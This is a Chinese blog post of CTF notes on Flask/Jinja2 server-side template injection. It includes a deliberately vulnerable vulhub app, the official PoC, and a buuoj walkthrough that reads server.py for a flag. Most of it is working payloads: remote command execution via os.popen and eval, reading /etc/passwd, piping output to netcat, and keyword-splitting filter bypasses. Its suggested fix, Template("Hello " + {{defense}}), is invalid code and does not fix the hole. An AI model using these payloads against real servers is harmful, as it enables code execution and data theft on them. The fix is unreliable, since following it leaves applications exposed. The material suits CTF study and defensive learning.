0%

Flask_ssti

模板注入

ssti 服务端模板注入,多存在于python的jinja2,django,tornado,mako 框架 php的tiwg,smarty框架 java框架jade velocity

在不正确使用模板引擎进行渲染时,会造成模板注入,会造成RCE,任意文件读取等漏洞,多出现再ctf中.



知识准备

  • __class__ 返回该对象所属的类

  • __base__ 以字符串形式返回一个类所直接继承的第一个类

  • __bases__ 以元组的形式返回一个类所直接继承的类

  • __mro__ 返回解析方法调用的顺序

  • __subclasses__() 返回这个类的所有子类的集合

  • __globals__ function.__global__ 获取function所处空间下可以使用的module、方法及所有变量

  • __init__ 初始化类

  • __builtins__ 可以利用__import__ eval执行命令

1
2
3
4
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()


''.__class__.__mro__[-1]<class 'object'>

python中的类都是继承object的,所以要调用object类的__subclasses__()去得到我们想要使用的类的对象,


利用ssti要做的主要为两点

  • 读取文件内容
  • 执行命令

那只需要去寻找 os/file等关键字

一般都是使用object类下的 <class 'os._wrap_close'>popen

1
2
for i in enumerate(''.__class__.__base__.__subclasses__()[:200]):
print(i)

vulhub上的flask ssti

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
name = request.args.get('name', 'guest')

t = Template("Hello " + name)
return t.render()

if __name__ == "__main__":
app.run()

关键语句

t = Template("Hello " + name)

利用get传参进入template,构造注入语句

验证语句

漏洞修复

t = Template("Hello " + {{defense}})

官方POC

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

Hello uid=33(www-data) gid=33(www-data) groups=33(www-data)


buuoj ssti

可以判断是flask jinja2 的模板 (如果返回的是25 则是Twig模板)

?password={{%27%27.__class__.__base__}}

?password={{%27%27.__class__.__mro__[-1]}}

?password={{%27%27.__class__.__base__.__subclasses__()}}或者

?password={{%27%27.__class__.__mro__[-1].__subclasses__()}}获取object的可以利用的类

使用脚本遍历找到利用的类

?password={{%27%27.__class__.__mro__[-1].__subclasses__()[127]}}

利用.__init__.__globals__来找os类下的,__init__初始化类,然后__globals__全局来查找所有的方法及变量及参数

?password={{%27%27.__class__.__mro__[-1].__subclasses__()[127].__init__.__globals__}}

利用popen去读取文件

?password={{%27%27.__class__.__mro__[-1].__subclasses__()[127].__init__.__globals__[%27popen%27](%27dir%27).read()}}

?password={{%27%27.__class__.__mro__[-1].__subclasses__()[127].__init__.__globals__[%27popen%27](%27ls%27).read()}}

?password={{%27%27.__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__[%27eval%27]("__import__(%27os%27).popen(%27ls%27).read()")}}

?password={{%27%27.__class__.__mro__[-1].__subclasses__()[127].__init__.__globals__[%27popen%27](%27whoami%27).read()}}

看看/app下面有什么内容

?password={{%27%27.__class__.__base__.__subclasses__()[127].__init__.__globals__[%27popen%27](%27ls%20/app%27).read()}}

看看server.py

?password={{%27%27.__class__.__base__.__subclasses__()[127].__init__.__globals__[%27popen%27](%27cat%20/app/server.py%27).read()}}

得到flag n1book{eddb84d69a421a82}



可能会用到的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{{"".__class__.__mro__[1].__subclasses__()[127].__init__.__globals__["popen"]("whoami").read()}}

{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

{{''.__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}

{{''.__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('ls /app').read()}}

{{[].__class__.__base__.__subclasses__()[127].__init__.__globals__['__builtins__']['ev'+'al']('__imp'+'ort__("os").po'+'pen("ls ./").read()')}}

{{''.__class__.__base__.__subclasses__()[138].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()}}

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls | nc 127.0.0.1 1234')}}

{{''.__class__.__base__.__subclasses__()[138].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}

如果过滤了[]等括号

使用 __gititem__

{{%27%27.__class__.__bases__[0]}} --> {{%27%27.__class__.__bases__.__getitem__(0)}}


Reference

https://blog.csdn.net/weixin_45669205/article/details/114373785

https://xz.aliyun.com/t/3679

http://www.cl4y.top/ssti%e6%a8%a1%e6%9d%bf%e6%b3%a8%e5%85%a5%e5%ad%a6%e4%b9%a0/

https://www.cnblogs.com/Xy--1/p/12841941.html

http://ctf.ieki.xyz/library/ssti.html

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------